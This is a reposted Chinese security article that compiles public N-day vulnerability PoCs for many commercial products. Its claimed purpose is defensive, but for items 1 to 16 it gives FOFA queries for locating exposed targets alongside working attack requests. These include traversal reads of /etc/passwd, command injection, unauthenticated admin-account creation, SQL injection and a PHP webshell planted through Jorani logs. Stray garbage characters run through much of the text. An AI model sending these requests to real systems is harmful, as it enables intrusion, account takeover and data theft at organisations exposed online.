互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
: _  k5 A* i/ K( Y, p以下文章来源于网络安全新视界 ，作者网络安全新视界

- h9 @, s( m9 h发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

. V( k% p* G% W安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

  k# p/ s# e. o9 N6 M* R, @( W文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
" {+ U  ?2 `2 `; T2 ]  _0 |
# Q" E5 y& a  d2 Z8 m合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
8 W5 Q! I1 p2 {: \, z" _- P& d

' [5 g1 `( Z7 P( D: _$ ^- g' j声明

0 ~$ n: K: Y4 J% O# M4 a为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
' x' W1 U" b! f/ Y5 w9 c5 \( |$ p
4 P  i$ z; M# u& G7 n" V有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。


8 j- E6 V& z! V, X# K: G
目录

5 |: `/ v; P3 \! O01
- Z) e- }" X) u
2 K7 A7 q4 _2 Q( @& Z' ]# {/ i1. StarRocks MPP数据库未授权访问
: `2 \* O, r- O3 _" I2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
/ ^2 `' g# B& n5 R" ~* i/ H% L8. 斐讯 Phicomm 路由器RCE
8 f4 Y  P% y- \% l9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
' B9 w/ o+ B' _12. Jorani < 1.0.2 远程命令执行
( s. ^9 ]' N/ b% v, N13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
: n* X5 v) N& V/ P. U17. 大华 DSS itcBulletin SQL 注入
6 B9 M, q8 r( s* x, }8 n18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
1 e) c- Z( z; [& `20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
' _! G: M; U2 ], D5 g4 P7 W6 H. ?22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
- C! G, }" F( J. j# r: J0 a- s24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
$ T% k0 x: E+ r1 {29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
2 S& Q$ s0 A# k! [; n5 Q31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
6 F" H# y& h: y8 e+ Y' s# I33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
: _9 x7 t! c& _37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
4 e% N0 q+ }  Y! a1 T, T6 S40. 用友U8-Cloud XChangeServlet XXE
3 J+ \$ c# A. `41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
( p0 ^4 U$ w3 h6 T4 |43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
% x9 p1 Y- O( v: R, m* _4 h45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
6 m" V* }! |9 q, W& Z: X3 V49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
6 c  s4 f5 J! D2 O1 x+ z54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
& f, b$ s, ~' @) O56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
. p# H) i  S0 e) Z) w0 Q. W2 N6 f( I57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
2 i2 i2 I3 k& k' Z) F5 w8 O" @3 e60. 百卓Smart管理平台 importexport.php SQL注入
3 l( N! v1 O  n! K  D* J61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
& ~. z8 w0 D7 ?62. IP-guard WebServer 远程命令执行
- Y5 F7 N% s) k0 W; G63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
# Y" \6 P2 s* R+ A8 I65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
% X# I" M/ x& s  ]$ S2 W66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
5 h$ L3 _0 E0 B% A; P; V67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
4 `$ y) M$ [4 Y$ j69. 万户 ezOFFICE contract_gd.jsp SQL注入
4 {9 u' ~8 Y5 A5 b9 i70. 万户ezEIP success 命令执行
' `3 y2 @* f: c. C71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
3 U+ p" \+ C: ]  ~! S73. GeoServer wms远程代码执行
3 u; K. A# f. b; e74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
1 M  v0 |) h6 E( }$ K79. BYTEVALUE 百为流控路由器远程命令执行
  f& {$ R/ a$ L80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
# S2 B3 U5 k3 m3 e6 i9 e81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
6 n' V0 M# k) _* f6 m82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
& y  @( t% A; F/ w# t83. JeecgBoot testConnection 远程命令执行
6 ]! B5 z- M' ^! h2 `84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
/ O9 H' w2 w( g' ~& ]85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
  d& N+ e$ ?0 Z' I- v89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
& [$ J9 k6 L/ H) D% B91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
. l& d  E8 K$ |0 i3 X* a92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
- f; \( F8 R& a1 r* ]+ g97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
: O- {5 G5 ]3 P: j98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
" L0 ^7 o" v5 [100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
2 `" |3 r( t* N0 ?$ J102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
4 ?8 m. V( a; G103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
) Q  F5 ^: @7 s107. SpringBlade tenant/list SQL 注入
6 c. R5 l; H, N$ j. V  F: ~0 f- f108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
$ B2 n  z' P& W. G6 c110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
% l$ C7 [" R' R3 N114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
# N9 |. q4 C, V& Y117. WordPress LayerSlider插件SQL注入
; D8 H1 J  _) ]: r0 U3 i6 x118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
) x+ S; C1 c7 W6 L0 i& ~120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
+ ?; J1 D' K& {( ^/ c" `9 L; b122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
1 h2 e% W$ i9 n. a) V( n124. 湖南建研工程质量检测系统任意文件上传
' {: X5 ?5 S, D/ t  P125. ConnectWise ScreenConnect身份验证绕过
  c) `8 t6 k$ Q; U126. Aiohttp 路径遍历
( P4 L4 _; X. k1 A: H' h127. 广联达Linkworks DataExchange.ashx XXE
" u7 t" s1 d! k128. Adobe ColdFusion 反序列化
0 l' I( n; z  A129. Adobe ColdFusion 任意文件读取
. o  n: A/ i3 `  P. Y0 S8 l130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
+ u. `# G& {  R- Z136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
. h5 W& }& d. ^. E7 X4 h138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
" ]; `! Y1 {* o' A6 S139. 福建科立讯通信指挥调度平台editemedia.php sql注入
' {8 U8 g+ Z- k. v140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
7 p! u' t; I* |+ O1 C5 ]" W142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
& [: \- N" r1 G  j; ~6 e144. D-Link nas_sharing.cgi 命令注入
# |$ F) K/ v0 T2 B  W$ Z145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
- p8 F* m+ b; ~! S0 i% `1 r149. AJ-Report开源数据大屏存在远程命令执行
: ]$ o6 c1 P3 b' }150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
. U9 p0 K# I( j4 q7 }  ~152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
, o/ K5 {# n4 A' l1 W/ C5 O155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
* B# w% I, u3 g4 S157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
, `6 a+ ?) q+ A; ]+ H9 T  I' c160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
5 W* d) s2 @8 d/ W162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
$ [  |8 G3 s$ S1 q8 d* E; T166. 中成科信票务管理平台SeatMapHandler SQL注入
* R6 k0 z- g. G! E) M, k! R$ _167. 精益价值管理系统 DownLoad.aspx任意文件读取
2 I, m- b& N0 ]+ ^3 Q168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
- G# G* ~+ R: V! ~& ^170. 宏景EHR DisplayExcelCustomReport 任意文件读取
4 @& {7 Y$ J+ @. `. Q171. 通天星CMSV6车载定位监控平台 SQL注入
! l1 ?* U+ b, _0 ]( _172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
) Q4 q* w- l) Q# w4 T174. 金和OA C6 FileDownLoad.aspx 任意文件读取
8 V( |3 \3 q. V0 ]2 O0 ?6 _# F7 g175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
8 D5 J" u. X% s176. 电信网关配置管理系统 rewrite.php 文件上传
9 l+ H! S7 T( W7 j! F177. H3C路由器敏感信息泄露
) d& `4 v3 ?. D6 r. X  k8 g178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
3 D+ }5 S1 ]5 ~, D# I180. 帮管客 CRM jiliyu SQL注入
6 ^. x1 ]! Q. I  Z5 D( W181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
7 S4 g# A- o4 \2 l9 A; K185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
& V& w" g& X# ?7 l- X: k* W  _: c' I187. Mura CMS processAsyncObject SQL注入
3 @# b0 W: ?. w% v( L4 l188. 叁体-佳会视频会议 attachment 任意文件读取
; N. r' n- @6 S( ~9 O189. 蓝网科技临床浏览系统 deleteStudy SQL注入
  x% L0 U' Z4 w190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
  j# ?, l" u; P; k$ ^1 \! z5 h5 m192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
# y. @. c2 |6 x9 Z' R" K193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
( Z9 H: ]( e; U/ K195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
* {4 P! n9 ^5 Y5 w% }& R196. 河南省风速科技统一认证平台密码重置
$ Q/ Z" y7 _6 g197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
% k7 Y; m' ~8 ~! V, L8 R! Q: w8 A; y198.  阿里云盘 WebDAV 命令注入
3 `' V. b) b* g- e& r1 ]& D199. cockpit系统assetsmanager_upload接口 文件上传
7 V. y# j' [, m8 p200. SeaCMS海洋影视管理系统dmku SQL注入
1 R/ S8 T0 u2 j" S$ x1 f201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
4 X; q0 B& E7 E203. 红海云EHR PtFjk 文件上传
5 R3 R" m! D; G7 n
' x2 F, K9 e9 E5 `2 rPOC列表
' c1 V$ G1 p! w8 x
02
1 ~7 [# t9 P' g$ D8 f
1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
6 ^2 @0 s/ s, K8 kHost: URL


2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
9 q; w8 H* D; ^/ m7 B( {4 h# \GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
% A5 f5 B: Q- o0 g2 PAccept-Language: en
4 o! T4 \! M; L- u/ hAccept-Encoding: gzip

) ]- I9 K  f/ D3 Y
3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
' }% ^0 F* l$ f' e, A, a1 g* SGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
2 N1 i- B' r8 U1 W, V/ LHost: xx.xx.xx.xx

  Z7 {! V% T0 o' k$ v
4. EasyCVR视频管理平台存在任意用户添加
- U' h2 N! M- J2 ]FOFA ：title="EasyCVR"
/ A2 W, C& o) o9 W9 x; {$ T
# f/ L; O/ q5 Dpassword更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
$ K7 G& X- o1 k- h/ p- \Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
0 a2 Y* P. ]& H- l2 n) B* K
  M9 O" ?# U- f* b- oname=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
; \  `% \' `& |/ V. y9 O- A( R3 K4 k
5 h, z3 D$ {* l% r* H5 M
+ G2 K  S; O9 E! R1 @( L" c5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx


' Q8 I0 l0 C1 Y3 C1 X+ c" c# d6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
& y$ v) R4 y3 G6 sHost:

7 ^/ n9 M# l8 i7 U1 L
7. 鸿运主动安全监控云平台任意文件下载
. B) \% K$ H* E  q9 IFOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:
2 L  e# [' U& ]% ?: A/ P8 u$ n

& M9 `' n% o  n+ d8. 斐讯 Phicomm 路由器RCE
9 ^3 g: W# z0 O( x! I8 DFOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
( p; ]5 r9 m# `" ZPOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
. M0 w9 u( i3 E0 ^8 b
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"
. V# t) }5 Y3 g" L9 w0 Y
: W8 s; `/ v' p# j%s
7 ?: g" T" P0 l+ o------WebKitFormBoundaryxbgjoytz
% m7 @1 n3 q6 A; A2 o$ F( vContent-Disposition: form-data; name="wifiRebootrange"

12:00; id;
- ~( y" C2 B7 o! O: ?0 D------WebKitFormBoundaryxbgjoytz
: B- R* w" q$ u5 t' u% s* G4 uContent-Disposition: form-data; name="wifiRebootendrange"
) z3 V  n0 K0 A& U
& @" e' Q( h( `) i%s:
------WebKitFormBoundaryxbgjoytz
- x' C+ M+ b; f5 C% B7 `Content-Disposition: form-data; name="cururl2"
6 a! d0 v: l: F9 u; K- ^9 K9 @& A

" d7 u  M2 S8 P# g; z------WebKitFormBoundaryxbgjoytz--
/ r) I6 x$ j! b) \4 i
' b0 i) |% a/ X& ?8 N( u( A8 q
; P& Z+ b- R1 v: \9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
, w$ E( u# D- @, |9 N1 KGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
& K. w0 a9 B1 t+ w: i0 R' D* z* SHost: x.x.x.x


payload为下列语句的二次Url编码
+ a3 H; b+ }3 F& Z
' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"

) W. g: k$ c0 }- N$ l# N4 q" r文件上传后响应中包含上传文件的路径
" n6 Z: Q: G" _% ?, C0 kPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
" z, {5 p' r  mHost: x.x.x.x:xx
9 X; _/ |: E& V: C/ s) M6 c7 u# KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
8 |0 K# W+ p2 ^  kContent-Length: 197
3 i! |- i) W' P8 gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
2 z. q: b" ]( _4 w" Y, T/ NContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

4 @- w+ [5 @, K) U4 q! @4 `8 U------WebKitFormBoundaryxdgaqmqu
. K- A0 T; d( x. y0 C4 }Content-Disposition: form-data; name="file"filename="icfitnya.txt"
: k& r7 X. R& t  M! y8 c; d0 tContent-Type: text/html

$ k2 D! `8 e" Z0 }2 sjmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--
* \" P. W/ {+ G: W
! `: H1 s. W- r$ c+ u% I
7 M0 R. v: p* h% h  e11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
$ U. k8 l0 R. \) k1 _  jUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
) Q' w4 J$ Z* D. CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
, F1 L. u4 B# o5 D* DAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close


12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
, d1 L' G2 c3 L- ~( ?- i, {第一步先拿到cookie
GET /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
5 S1 l/ `9 ~9 }& M& D! A& fConnection: close
Accept-Encoding: gzip

/ x2 D( ?4 u7 b7 Y' @2 F% ?4 Z# M
2 r. O! k% Q( T+ C& J* r% w! A响应中csrf_cookie_jorani用于后续请求
: i# u+ {: B. t+ [+ F6 R; Q+ d7 q0 YHTTP/1.1 200 OK
7 @7 B/ M  O2 R3 T0 iConnection: close
- c- m3 |. P$ g! z4 n0 W6 n& }Cache-Control: no-store, no-cache, must-revalidate
8 m! ^$ ^4 h" j: U  |+ X6 C8 }  UContent-Type: text/html; charset=UTF-8
" ?0 W+ H- z& t2 gDate: Tue, 24 Oct 2023 09:34:28 GMT
4 o% b" e3 h# A9 ~  m9 _Expires: Thu, 19 Nov 1981 08:52:00 GMT
; \7 s# b" p, P9 \Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
, v3 j( C9 U* L7 V+ e4 ~, G. g; Z. GPragma: no-cache
Server: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
; W* i0 d" e/ J# nVary: Accept-Encoding

' n& j, H' x) F7 {# X
6 i; f4 V& z; s4 q- Q" \3 oPOST请求，执行函数并进行base64编码
) N* }7 H6 C$ @" N$ K, B6 lPOST /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
1 f1 M# a& k" z+ b  q* Y  \" z. s( pConnection: close
Content-Length: 252
) }" g$ \% G3 p) _2 i, Z, nContent-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip

csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor



向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
# d( g+ z% N7 r7 p2 E" \" Z8 U6 z3 fGET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
- R1 T6 {2 R4 B6 S* o' J: k7 kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
. Q3 S7 [) \4 c- F% T& JConnection: close
' r# f6 ^( H0 tCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
6 ]* M( ]4 a8 t+ `& ?  zK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
2 s1 }6 l+ e* M* w* U7 d; nX-REQUESTED-WITH: XMLHttpRequest
- v% }; z6 o/ Q! j  V/ l: eAccept-Encoding: gzip
1 H; G$ {- y7 h! s2 ^; m
8 x8 f/ Q2 d7 X, s
) |9 h, ]+ d# a/ l/ [13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
Accept-Encoding: gzip
4 s% S) H& e# q  D

4 U$ \6 Z# J& p4 c1 u14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
# n) N3 F$ S/ I/ z# L泄露内容包括用户名密码
, l& w, m" p- W$ f& Y4 QGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
2 Z! h. d" W# t% vHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
  Z, k3 G" t$ `, f- F$ `$ z' \2 N" g' d% ]Connection: close
Accept: */*
Accept-Language: en
6 k) A$ E8 H- i* vAccept-Encoding: gzip
8 @+ U1 j9 s1 j. j& Q* K

15. 华夏ERP getAllList信息泄露
, L4 l0 K9 g" Q0 tCVE-2024-0490
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
- K1 o" s" E1 ~) T% R, n5 l  M5 OHost: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
1 Z3 E0 g5 |. j+ a! O2 WAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
, P+ Z8 H, `7 v# t' OAccept-Language: en
sec-ch-ua-platform: Windows
& q0 N$ S4 E+ w& P+ ^+ tAccept-Encoding: gzip
9 X& u2 a' X7 n" K
5 x$ N) ]9 U; K7 _
16.  红帆HFOffice医微云SQL注入
6 h# p5 k. d7 f/ W! A5 \FOFA：title="HFOffice"
poc中调用函数计算1234的md5值
